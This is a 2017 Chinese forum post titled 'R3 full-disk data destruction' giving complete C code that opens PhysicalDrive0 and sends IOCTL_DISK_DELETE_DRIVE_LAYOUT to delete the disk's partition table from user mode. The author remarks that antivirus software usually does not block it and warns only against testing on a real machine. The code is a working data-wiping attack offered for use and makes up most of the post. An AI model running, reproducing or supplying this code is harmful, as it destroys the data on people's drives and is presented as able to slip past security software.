看流星社区

 找回密码
 注册账号
查看: 2038|回复: 0

R3全盘毁坏数据

[复制链接]

该用户从未签到

发表于 2017-6-1 12:56:09 | 显示全部楼层 |阅读模式
打开物理磁盘或者打开分区符号(这个需要循环)
然后使用下发IOCTL_DISK_DELETE_DRIVE_LAYOUT请求,删除分区表
一般杀软也不会阻止


不要在真机中实验!
代码:
  1. #include<stdio.h>
  2. #include<Windows.h>
  3. #include<ntddscsi.h>
  4. int main()
  5. {
  6.     DWORD lpBytesReturned;
  7.     OVERLAPPED lpOverlapped={0};
  8.     HANDLE hDiskHandle=CreateFile(_T("\\\\.\\PhysicalDrive0"),GENERIC_READ|GENERIC_WRITE,FILE_SHARE_READ|FILE_SHARE_WRITE,NULL,OPEN_EXISTING,0,NULL);
  9.     DeviceIoControl(hDiskHandle,
  10.                                         IOCTL_DISK_DELETE_DRIVE_LAYOUT,//0x0007C100
  11.                                         NULL,
  12.                                         0,
  13.                                         NULL,
  14.                                         0,
  15.                                         &lpBytesReturned,
  16.                                         &lpOverlapped);
  17.         CloseHandle(hDiskHandle);
  18.     return 0;
  19. }
复制代码
点击按钮快速添加回复内容: 支持 高兴 激动 给力 加油 苦寻 生气 回帖 路过 感恩
您需要登录后才可以回帖 登录 | 注册账号

本版积分规则

小黑屋|手机版|Archiver|看流星社区 |网站地图

GMT+8, 2024-3-19 17:51

Powered by Kanliuxing X3.4

© 2010-2019 kanliuxing.com

快速回复 返回顶部 返回列表